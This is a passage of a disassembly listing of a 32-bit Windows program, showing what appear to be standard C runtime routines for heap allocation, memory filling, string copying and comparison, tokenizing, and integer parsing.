mov ebp, eax
push ebx
push ebp
call sub_4211B3
add esp, 18h
loc_41E466: ; CODE XREF: sub_41E3C2+71j
test edi, edi
jnz short loc_41E4A6
loc_41E46A: ; CODE XREF: sub_41E3C2+5Ej
; sub_41E3C2+7Ej
test esi, esi
jnz short loc_41E46F
inc esi
loc_41E46F: ; CODE XREF: sub_41E3C2+AAj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push ds:dword_4E2EFC
call ds:dword_42B0E4 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41E4A6
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41E494
mov eax, esi
loc_41E494: ; CODE XREF: sub_41E3C2+CEj
push eax
push ebx
push edi
call sub_41F400
push ebx
push ebp
call sub_4211B3
add esp, 14h
loc_41E4A6: ; CODE XREF: sub_41E3C2+A6j
; sub_41E3C2+C6j
test ebp, ebp
jnz short loc_41E4C7
loc_41E4AA: ; CODE XREF: sub_41E3C2+52j
test esi, esi
jnz short loc_41E4AF
inc esi
loc_41E4AF: ; CODE XREF: sub_41E3C2+EAj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push ebx
push 0
push ds:dword_4E2EFC
call ds:dword_42B194 ; RtlReAllocateHeap
mov edi, eax
loc_41E4C7: ; CODE XREF: sub_41E3C2+E6j
test edi, edi
jnz short loc_41E4E5
loc_41E4CB: ; CODE XREF: sub_41E3C2+41j
cmp ds:dword_4E2964, 0
jz short loc_41E4E5
push esi
call sub_421F2F
test eax, eax
pop ecx
jnz loc_41E3FE
jmp short loc_41E51D
; ---------------------------------------------------------------------------
loc_41E4E5: ; CODE XREF: sub_41E3C2+107j
; sub_41E3C2+110j
mov eax, edi
jmp short loc_41E51F
; ---------------------------------------------------------------------------
loc_41E4E9: ; CODE XREF: sub_41E3C2+36j
; sub_41E3C2+159j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41E509
test esi, esi
jnz short loc_41E4F5
inc esi
loc_41E4F5: ; CODE XREF: sub_41E3C2+130j
push esi
push ebx
push 0
push ds:dword_4E2EFC
call ds:dword_42B194 ; RtlReAllocateHeap
test eax, eax
jnz short loc_41E51F
loc_41E509: ; CODE XREF: sub_41E3C2+12Cj
cmp ds:dword_4E2964, 0
jz short loc_41E51F
push esi
call sub_421F2F
test eax, eax
pop ecx
jnz short loc_41E4E9
loc_41E51D: ; CODE XREF: sub_41E3C2+2Aj
; sub_41E3C2+121j
xor eax, eax
loc_41E51F: ; CODE XREF: sub_41E3C2+125j
; sub_41E3C2+145j ...
pop esi
loc_41E520: ; CODE XREF: sub_41E3C2+15j
pop edi
pop ebp
pop ebx
retn
sub_41E3C2 endp
; =============== S U B R O U T I N E =======================================
sub_41E524 proc near ; CODE XREF: sub_41E54E+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_4220B2
test eax, eax
jnz short loc_41E538
mov ds:dword_4E28F4, 18h
retn
; ---------------------------------------------------------------------------
loc_41E538: ; CODE XREF: sub_41E524+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_421F4A
add esp, 10h
retn
sub_41E524 endp
; =============== S U B R O U T I N E =======================================
sub_41E54E proc near ; CODE XREF: sub_40274D+55D0p
; sub_40274D+716Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41E524
add esp, 0Ch
retn
sub_41E54E endp
; =============== S U B R O U T I N E =======================================
sub_41E561 proc near ; CODE XREF: sub_41E5A7+Bp
arg_0 = dword ptr 4
cmp ds:dword_4E2F00, 3
push esi
mov esi, [esp+4+arg_0]
jnz short loc_41E582
cmp esi, ds:dword_4E2EEC
ja short loc_41E582
push esi
call sub_421967
test eax, eax
pop ecx
jnz short loc_41E5A5
loc_41E582: ; CODE XREF: sub_41E561+Cj
; sub_41E561+14j
test esi, esi
jnz short loc_41E587
inc esi
loc_41E587: ; CODE XREF: sub_41E561+23j
cmp ds:dword_4E2F00, 1
jz short loc_41E596
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41E596: ; CODE XREF: sub_41E561+2Dj
push esi
push 0
push ds:dword_4E2EFC
call ds:dword_42B0E4 ; RtlAllocateHeap
loc_41E5A5: ; CODE XREF: sub_41E561+1Fj
pop esi
retn
sub_41E561 endp
; =============== S U B R O U T I N E =======================================
sub_41E5A7 proc near ; CODE XREF: sub_41E5D3+Ap
; sub_41FEB2+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41E5D0
loc_41E5AE: ; CODE XREF: sub_41E5A7+27j
push [esp+arg_0]
call sub_41E561
test eax, eax
pop ecx
jnz short locret_41E5D2
cmp [esp+arg_4], eax
jz short locret_41E5D2
push [esp+arg_0]
call sub_421F2F
test eax, eax
pop ecx
jnz short loc_41E5AE
loc_41E5D0: ; CODE XREF: sub_41E5A7+5j
xor eax, eax
locret_41E5D2: ; CODE XREF: sub_41E5A7+13j
; sub_41E5A7+19j
retn
sub_41E5A7 endp
; =============== S U B R O U T I N E =======================================
sub_41E5D3 proc near ; CODE XREF: sub_4022F5+5Ep
; sub_40AE18+32p ...
arg_0 = dword ptr 4
push ds:dword_4E2964
push [esp+4+arg_0]
call sub_41E5A7
pop ecx
pop ecx
retn
sub_41E5D3 endp
; ---------------------------------------------------------------------------
db 3 dup(0CCh)
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_41E5F0 proc near ; CODE XREF: seg000:0040114Bp
; seg000:00401159p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41E64B
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41E63B
neg ecx
and ecx, 3
jz short loc_41E61D
sub edx, ecx
loc_41E613: ; CODE XREF: sub_41E5F0+2Bj
mov [edi], al
add edi, 1
sub ecx, 1
jnz short loc_41E613
loc_41E61D: ; CODE XREF: sub_41E5F0+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41E63B
rep stosd
test edx, edx
jz short loc_41E645
loc_41E63B: ; CODE XREF: sub_41E5F0+18j
; sub_41E5F0+43j ...
mov [edi], al
add edi, 1
sub edx, 1
jnz short loc_41E63B
loc_41E645: ; CODE XREF: sub_41E5F0+49j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E64B: ; CODE XREF: sub_41E5F0+Aj
mov eax, [esp+arg_0]
retn
sub_41E5F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E650 proc near ; CODE XREF: sub_4011F5+1Cp
; sub_417DE4+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
push edi
push [ebp+arg_C]
mov [ebp+var_1C], eax
push [ebp+arg_8]
lea eax, [ebp+var_20]
push eax
mov [ebp+var_14], 42h
mov [ebp+var_18], esi
mov [ebp+var_20], esi
call sub_4222C8
add esp, 0Ch
test esi, esi
mov edi, eax
jz short loc_41E6A0
dec [ebp+var_1C]
js short loc_41E693
mov eax, [ebp+var_20]
mov byte ptr [eax], 0
jmp short loc_41E6A0
; ---------------------------------------------------------------------------
loc_41E693: ; CODE XREF: sub_41E650+39j
lea eax, [ebp+var_20]
push eax
push 0
call sub_422124
pop ecx
pop ecx
loc_41E6A0: ; CODE XREF: sub_41E650+34j
; sub_41E650+41j
mov eax, edi
pop edi
pop esi
leave
retn
sub_41E650 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E6A6 proc near ; CODE XREF: sub_40123B+5Ep
; sub_401F92+2Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push esi
mov esi, [ebp+arg_0]
push edi
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
lea eax, [ebp+var_20]
push eax
mov [ebp+var_1C], 7FFFFFFFh
mov [ebp+var_14], 42h
mov [ebp+var_18], esi
mov [ebp+var_20], esi
call sub_4222C8
add esp, 0Ch
test esi, esi
mov edi, eax
jz short loc_41E6F8
dec [ebp+var_1C]
js short loc_41E6EB
mov eax, [ebp+var_20]
mov byte ptr [eax], 0
jmp short loc_41E6F8
; ---------------------------------------------------------------------------
loc_41E6EB: ; CODE XREF: sub_41E6A6+3Bj
lea eax, [ebp+var_20]
push eax
push 0
call sub_422124
pop ecx
pop ecx
loc_41E6F8: ; CODE XREF: sub_41E6A6+36j
; sub_41E6A6+43j
mov eax, edi
pop edi
pop esi
leave
retn
sub_41E6A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E6FE proc near ; CODE XREF: sub_40123B+42p
; sub_40274D+1A89p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov [ebp+var_1C], eax
push edi
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_8]
lea eax, [ebp+var_20]
push eax
mov [ebp+var_14], 42h
mov [ebp+var_18], esi
mov [ebp+var_20], esi
call sub_4222C8
add esp, 0Ch
test esi, esi
mov edi, eax
jz short loc_41E74F
dec [ebp+var_1C]
js short loc_41E742
mov eax, [ebp+var_20]
mov byte ptr [eax], 0
jmp short loc_41E74F
; ---------------------------------------------------------------------------
loc_41E742: ; CODE XREF: sub_41E6FE+3Aj
lea eax, [ebp+var_20]
push eax
push 0
call sub_422124
pop ecx
pop ecx
loc_41E74F: ; CODE XREF: sub_41E6FE+35j
; sub_41E6FE+42j
mov eax, edi
pop edi
pop esi
leave
retn
sub_41E6FE endp
; =============== S U B R O U T I N E =======================================
sub_41E755 proc near ; CODE XREF: sub_41E7ADj
; sub_4282DB+33p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
jmp short loc_41E75D
; ---------------------------------------------------------------------------
loc_41E75C: ; CODE XREF: sub_41E755+14j
inc esi
loc_41E75D: ; CODE XREF: sub_41E755+5j
movzx eax, byte ptr [esi]
push eax
call sub_422AC2
test eax, eax
pop ecx
jnz short loc_41E75C
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, 2Dh
mov edx, ecx
jz short loc_41E77B
cmp ecx, 2Bh
jnz short loc_41E77F
loc_41E77B: ; CODE XREF: sub_41E755+1Fj
movzx ecx, byte ptr [esi]
inc esi
loc_41E77F: ; CODE XREF: sub_41E755+24j
xor eax, eax
loc_41E781: ; CODE XREF: sub_41E755+4Dj
cmp ecx, 30h
jl short loc_41E790
cmp ecx, 39h
jg short loc_41E790
sub ecx, 30h
jmp short loc_41E793
; ---------------------------------------------------------------------------
loc_41E790: ; CODE XREF: sub_41E755+2Fj
; sub_41E755+34j
or ecx, 0FFFFFFFFh
loc_41E793: ; CODE XREF: sub_41E755+39j
cmp ecx, 0FFFFFFFFh
jz short loc_41E7A4
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2]
movzx ecx, byte ptr [esi]
inc esi
jmp short loc_41E781
; ---------------------------------------------------------------------------
loc_41E7A4: ; CODE XREF: sub_41E755+41j
cmp edx, 2Dh
pop esi
jnz short locret_41E7AC
neg eax
locret_41E7AC: ; CODE XREF: sub_41E755+53j
retn
sub_41E755 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41E7AD proc near ; CODE XREF: sub_40274D+680p
; sub_40274D+8BDp ...
jmp sub_41E755
sub_41E7AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E7B2 proc near ; CODE XREF: sub_40274D+B6p
; sub_40274D+C6p ...
var_24 = byte ptr -24h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
mov eax, ds:dword_4437D4
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
pop ecx
mov [ebp+var_4], eax
xor eax, eax
lea edi, [ebp+var_24]
push 7
rep stosd
pop edi
loc_41E7D3: ; CODE XREF: sub_41E7B2+3Aj
mov dl, [esi]
movzx ecx, dl
mov eax, ecx
and ecx, edi
mov bl, 1
shl bl, cl
shr eax, 3
lea eax, [ebp+eax+var_24]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41E7D3
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41E802
mov edx, ds:dword_4E28F0
jmp short loc_41E802
; ---------------------------------------------------------------------------
loc_41E7FD: ; CODE XREF: sub_41E7B2+67j
test al, al
jz short loc_41E81B
inc edx
loc_41E802: ; CODE XREF: sub_41E7B2+41j
; sub_41E7B2+49j
mov al, [edx]
movzx esi, al
xor ebx, ebx
mov ecx, esi
and ecx, edi
inc ebx
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_24]
test bl, cl
jnz short loc_41E7FD
loc_41E81B: ; CODE XREF: sub_41E7B2+4Dj
mov ebx, edx
jmp short loc_41E837
; ---------------------------------------------------------------------------
loc_41E81F: ; CODE XREF: sub_41E7B2+88j
movzx esi, byte ptr [edx]
xor eax, eax
mov ecx, esi
and ecx, edi
inc eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_24]
test al, cl
jnz short loc_41E83E
inc edx
loc_41E837: ; CODE XREF: sub_41E7B2+6Bj
cmp byte ptr [edx], 0
jnz short loc_41E81F
jmp short loc_41E842
; ---------------------------------------------------------------------------
loc_41E83E: ; CODE XREF: sub_41E7B2+82j
mov byte ptr [edx], 0
inc edx
loc_41E842: ; CODE XREF: sub_41E7B2+8Aj
mov ecx, [ebp+var_4]
mov eax, ebx
sub eax, edx
neg eax
pop edi
sbb eax, eax
and eax, ebx
pop esi
mov ds:dword_4E28F0, edx
pop ebx
call sub_422B83
leave
retn
sub_41E7B2 endp
; ---------------------------------------------------------------------------
db 0CCh
; =============== S U B R O U T I N E =======================================
sub_41E860 proc near ; CODE XREF: sub_4025EF+64p
; sub_40274D+48p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41E8FF
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41E88C
shr ecx, 2
jnz loc_41E90F
jmp short loc_41E8B3
; ---------------------------------------------------------------------------
loc_41E88C: ; CODE XREF: sub_41E860+1Fj
; sub_41E860+45j
mov al, [esi]
add esi, 1
mov [edi], al
add edi, 1
sub ecx, 1
jz short loc_41E8C6
test al, al
jz short loc_41E8CE
test esi, 3
jnz short loc_41E88C
mov ebx, ecx
shr ecx, 2
jnz short loc_41E90F
loc_41E8AE: ; CODE XREF: sub_41E860+ADj
and ebx, 3
jz short loc_41E8C6
loc_41E8B3: ; CODE XREF: sub_41E860+2Aj
; sub_41E860+64j
mov al, [esi]
add esi, 1
mov [edi], al
add edi, 1
test al, al
jz short loc_41E8F8
sub ebx, 1
jnz short loc_41E8B3
loc_41E8C6: ; CODE XREF: sub_41E860+39j
; sub_41E860+51j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E8CE: ; CODE XREF: sub_41E860+3Dj
test edi, 3
jz short loc_41E8EC
loc_41E8D6: ; CODE XREF: sub_41E860+8Aj
mov [edi], al
add edi, 1
sub ecx, 1
jz loc_41E97C
test edi, 3
jnz short loc_41E8D6
loc_41E8EC: ; CODE XREF: sub_41E860+74j
mov ebx, ecx
shr ecx, 2
jnz short loc_41E967
loc_41E8F3: ; CODE XREF: sub_41E860+9Bj
; sub_41E860+116j
mov [edi], al
add edi, 1
loc_41E8F8: ; CODE XREF: sub_41E860+5Fj
sub ebx, 1
jnz short loc_41E8F3
pop ebx
pop esi
loc_41E8FF: ; CODE XREF: sub_41E860+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E905: ; CODE XREF: sub_41E860+C7j
; sub_41E860+DFj
mov [edi], edx
add edi, 4
sub ecx, 1
jz short loc_41E8AE
loc_41E90F: ; CODE XREF: sub_41E860+24j
; sub_41E860+4Cj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41E905
test dl, dl
jz short loc_41E959
test dh, dh
jz short loc_41E94F
test edx, 0FF0000h
jz short loc_41E945
test edx, 0FF000000h
jnz short loc_41E905
mov [edi], edx
jmp short loc_41E95D
; ---------------------------------------------------------------------------
loc_41E945: ; CODE XREF: sub_41E860+D7j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41E95D
; ---------------------------------------------------------------------------
loc_41E94F: ; CODE XREF: sub_41E860+CFj
and edx, 0FFh
mov [edi], edx
jmp short loc_41E95D
; ---------------------------------------------------------------------------
loc_41E959: ; CODE XREF: sub_41E860+CBj
xor edx, edx
mov [edi], edx
loc_41E95D: ; CODE XREF: sub_41E860+E3j
; sub_41E860+EDj ...
add edi, 4
xor eax, eax
sub ecx, 1
jz short loc_41E973
loc_41E967: ; CODE XREF: sub_41E860+91j
xor eax, eax
loc_41E969: ; CODE XREF: sub_41E860+111j
mov [edi], eax
add edi, 4
sub ecx, 1
jnz short loc_41E969
loc_41E973: ; CODE XREF: sub_41E860+105j
and ebx, 3
jnz loc_41E8F3
loc_41E97C: ; CODE XREF: sub_41E860+7Ej
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41E860 endp
; ---------------------------------------------------------------------------
dd 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_41E990 proc near ; CODE XREF: sub_40274D+18Fp
; sub_40274D+1DEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41E9DC
loc_41E9A0: ; CODE XREF: sub_41E990+3Cj
; sub_41E990+6Aj ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41E9D4
or al, al
jz short loc_41E9D0
cmp ah, [ecx+1]
jnz short loc_41E9D4
or ah, ah
jz short loc_41E9D0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41E9D4
or al, al
jz short loc_41E9D0
cmp ah, [ecx+3]
jnz short loc_41E9D4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41E9A0
mov edi, edi
loc_41E9D0: ; CODE XREF: sub_41E990+18j
; sub_41E990+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
loc_41E9D4: ; CODE XREF: sub_41E990+14j
; sub_41E990+1Dj ...
sbb eax, eax
shl eax, 1
add eax, 1
retn
; ---------------------------------------------------------------------------
loc_41E9DC: ; CODE XREF: sub_41E990+Ej
test edx, 1
jz short loc_41E9FC
mov al, [edx]
add edx, 1
cmp al, [ecx]
jnz short loc_41E9D4
add ecx, 1
or al, al
jz short loc_41E9D0
test edx, 2
jz short loc_41E9A0
loc_41E9FC: ; CODE XREF: sub_41E990+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41E9D4
or al, al
jz short loc_41E9D0
cmp ah, [ecx+1]
jnz short loc_41E9D4
or ah, ah
jz short loc_41E9D0
add ecx, 2
jmp short loc_41E9A0
sub_41E990 endp
; ---------------------------------------------------------------------------
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_41EA20 proc near ; CODE XREF: sub_402472+Ap
; sub_40274D+Ap ...
arg_0 = byte ptr 4
cmp eax, 1000h
jnb short loc_41EA35
neg eax
add eax, esp
add eax, 4
test [eax], eax
xchg eax, esp
mov eax, [eax]
push eax
retn
; ---------------------------------------------------------------------------
loc_41EA35: ; CODE XREF: sub_41EA20+5j
push ecx
lea ecx, [esp+4+arg_0]
loc_41EA3A: ; CODE XREF: sub_41EA20+2Cj
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41EA3A
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41EA20 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA5D proc near ; CODE XREF: sub_40274D+7185p
; sub_40274D+71AFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41EA71
xor eax, eax
jmp short loc_41EAA7
; ---------------------------------------------------------------------------
loc_41EA71: ; CODE XREF: sub_41EA5D+Ej
dec [ebp+arg_4]
push esi
jz short loc_41EAA1
mov esi, [ebp+arg_8]
loc_41EA7A: ; CODE XREF: sub_41EA5D+42j
dec dword ptr [esi+4]
js short loc_41EA89
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41EA90
; ---------------------------------------------------------------------------
loc_41EA89: ; CODE XREF: sub_41EA5D+20j
push esi
call sub_421C63
pop ecx
loc_41EA90: ; CODE XREF: sub_41EA5D+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41EAAB
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41EAA1
dec [ebp+arg_4]
jnz short loc_41EA7A
loc_41EAA1: ; CODE XREF: sub_41EA5D+18j
; sub_41EA5D+3Dj ...
mov byte ptr [edi], 0
loc_41EAA4: ; CODE XREF: sub_41EA5D+55j
mov eax, ebx
pop esi
loc_41EAA7: ; CODE XREF: sub_41EA5D+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41EAAB: ; CODE XREF: sub_41EA5D+36j
cmp edi, [ebp+arg_0]
jnz short loc_41EAA1
xor ebx, ebx
jmp short loc_41EAA4
sub_41EA5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EAB4 proc near ; CODE XREF: sub_41EC61+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
push esi
mov esi, [ebp+arg_0]
mov bl, [esi]
push edi
lea edi, [esi+1]
loc_41EAC7: ; CODE XREF: sub_41EAB4+3Fj
cmp ds:dword_4437B0, 1
movzx eax, bl
jle short loc_41EADF
push 8
push eax
call sub_422B91
pop ecx
pop ecx
jmp short loc_41EAEC
; ---------------------------------------------------------------------------
loc_41EADF: ; CODE XREF: sub_41EAB4+1Dj
mov ecx, ds:off_4437D8
movzx eax, byte ptr [ecx+eax*2]
and eax, 8
loc_41EAEC: ; CODE XREF: sub_41EAB4+29j
test eax, eax
jz short loc_41EAF5
mov bl, [edi]
inc edi
jmp short loc_41EAC7
; ---------------------------------------------------------------------------
loc_41EAF5: ; CODE XREF: sub_41EAB4+3Aj
cmp bl, 2Dh
jnz short loc_41EB00
or [ebp+arg_C], 2
jmp short loc_41EB05
; ---------------------------------------------------------------------------
loc_41EB00: ; CODE XREF: sub_41EAB4+44j
cmp bl, 2Bh
jnz short loc_41EB08
loc_41EB05: ; CODE XREF: sub_41EAB4+4Aj
mov bl, [edi]
inc edi
loc_41EB08: ; CODE XREF: sub_41EAB4+4Fj
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41EC51
cmp eax, 1
jz loc_41EC51
cmp eax, 24h
jg loc_41EC51
test eax, eax
push 10h
pop ecx
jnz short loc_41EB50
cmp bl, 30h
jz short loc_41EB3A
mov [ebp+arg_8], 0Ah
jmp short loc_41EB68
; ---------------------------------------------------------------------------
loc_41EB3A: ; CODE XREF: sub_41EAB4+7Bj
mov al, [edi]
cmp al, 78h
jz short loc_41EB4D
cmp al, 58h
jz short loc_41EB4D
mov [ebp+arg_8], 8
jmp short loc_41EB68
; ---------------------------------------------------------------------------
loc_41EB4D: ; CODE XREF: sub_41EAB4+8Aj
; sub_41EAB4+8Ej
mov [ebp+arg_8], ecx
loc_41EB50: ; CODE XREF: sub_41EAB4+76j
cmp [ebp+arg_8], ecx
jnz short loc_41EB68
cmp bl, 30h
jnz short loc_41EB68
mov al, [edi]
cmp al, 78h
jz short loc_41EB64
cmp al, 58h
jnz short loc_41EB68
loc_41EB64: ; CODE XREF: sub_41EAB4+AAj
inc edi
mov bl, [edi]
inc edi
loc_41EB68: ; CODE XREF: sub_41EAB4+84j
; sub_41EAB4+97j ...
xor edx, edx
or eax, 0FFFFFFFFh
div [ebp+arg_8]
mov ecx, edx
mov edx, eax
loc_41EB74: ; CODE XREF: sub_41EAB4+120j
mov esi, ds:off_4437D8
movzx eax, bl
mov ax, [esi+eax*2]
test al, 4
jz short loc_41EB8D
movsx esi, bl
sub esi, 30h
jmp short loc_41EBAB
; ---------------------------------------------------------------------------
loc_41EB8D: ; CODE XREF: sub_41EAB4+CFj
test ax, 103h
jz short loc_41EBD6
cmp bl, 61h
jl short loc_41EBA5
cmp bl, 7Ah
jg short loc_41EBA5
movsx esi, bl
sub esi, 20h
jmp short loc_41EBA8
; ---------------------------------------------------------------------------
loc_41EBA5: ; CODE XREF: sub_41EAB4+E2j
; sub_41EAB4+E7j
movsx esi, bl
loc_41EBA8: ; CODE XREF: sub_41EAB4+EFj
add esi, 0FFFFFFC9h
loc_41EBAB: ; CODE XREF: sub_41EAB4+D7j
cmp esi, [ebp+arg_8]
jnb short loc_41EBD6
or [ebp+arg_C], 8
cmp [ebp+var_4], edx
jb short loc_41EBC5
jnz short loc_41EBBF
cmp esi, ecx
jbe short loc_41EBC5
loc_41EBBF: ; CODE XREF: sub_41EAB4+105j
or [ebp+arg_C], 4
jmp short loc_41EBD1
; ---------------------------------------------------------------------------
loc_41EBC5: ; CODE XREF: sub_41EAB4+103j
; sub_41EAB4+109j
mov eax, [ebp+var_4]
imul eax, [ebp+arg_8]
add eax, esi
mov [ebp+var_4], eax
loc_41EBD1: ; CODE XREF: sub_41EAB4+10Fj
mov bl, [edi]
inc edi
jmp short loc_41EB74
; ---------------------------------------------------------------------------
loc_41EBD6: ; CODE XREF: sub_41EAB4+DDj
; sub_41EAB4+FAj
mov ecx, [ebp+arg_C]
dec edi
test cl, 8
jnz short loc_41EBEE
cmp [ebp+arg_4], 0
jz short loc_41EBE8
mov edi, [ebp+arg_0]
loc_41EBE8: ; CODE XREF: sub_41EAB4+12Fj
and [ebp+var_4], 0
jmp short loc_41EC3B
; ---------------------------------------------------------------------------
loc_41EBEE: ; CODE XREF: sub_41EAB4+129j
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41EC16
test cl, 1
jnz short loc_41EC3B
mov edx, ecx
and edx, 2
jz short loc_41EC0D
cmp [ebp+var_4], 80000000h
ja short loc_41EC16
loc_41EC0D: ; CODE XREF: sub_41EAB4+14Ej
test edx, edx
jnz short loc_41EC3B
cmp [ebp+var_4], eax
jbe short loc_41EC3B
loc_41EC16: ; CODE XREF: sub_41EAB4+142j
; sub_41EAB4+157j
test cl, 1
mov ds:dword_4E28F4, 22h
jz short loc_41EC2B
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41EC3B
; ---------------------------------------------------------------------------
loc_41EC2B: ; CODE XREF: sub_41EAB4+16Fj
mov dl, cl
and dl, 2
neg dl
sbb edx, edx
neg edx
add edx, eax
mov [ebp+var_4], edx
loc_41EC3B: ; CODE XREF: sub_41EAB4+138j
; sub_41EAB4+147j ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41EC44
mov [eax], edi
loc_41EC44: ; CODE XREF: sub_41EAB4+18Cj
test cl, 2
jz short loc_41EC4C
neg [ebp+var_4]
loc_41EC4C: ; CODE XREF: sub_41EAB4+193j
mov eax, [ebp+var_4]
jmp short loc_41EC5C
; ---------------------------------------------------------------------------
loc_41EC51: ; CODE XREF: sub_41EAB4+59j
; sub_41EAB4+62j ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41EC5A
mov [eax], esi
loc_41EC5A: ; CODE XREF: sub_41EAB4+1A2j
xor eax, eax
loc_41EC5C: ; CODE XREF: sub_41EAB4+19Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41EAB4 endp
; =============== S U B R O U T I N E =======================================
sub_41EC61 proc near ; CODE XREF: sub_40274D+5ED3p
; sub_40274D+66F5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41EAB4
add esp, 10h
retn
sub_41EC61 endp
; =============== S U B R O U T I N E =======================================
sub_41EC78 proc near ; CODE XREF: sub_40274D+5685p
arg_0 = dword ptr 4
push [esp+arg_0]
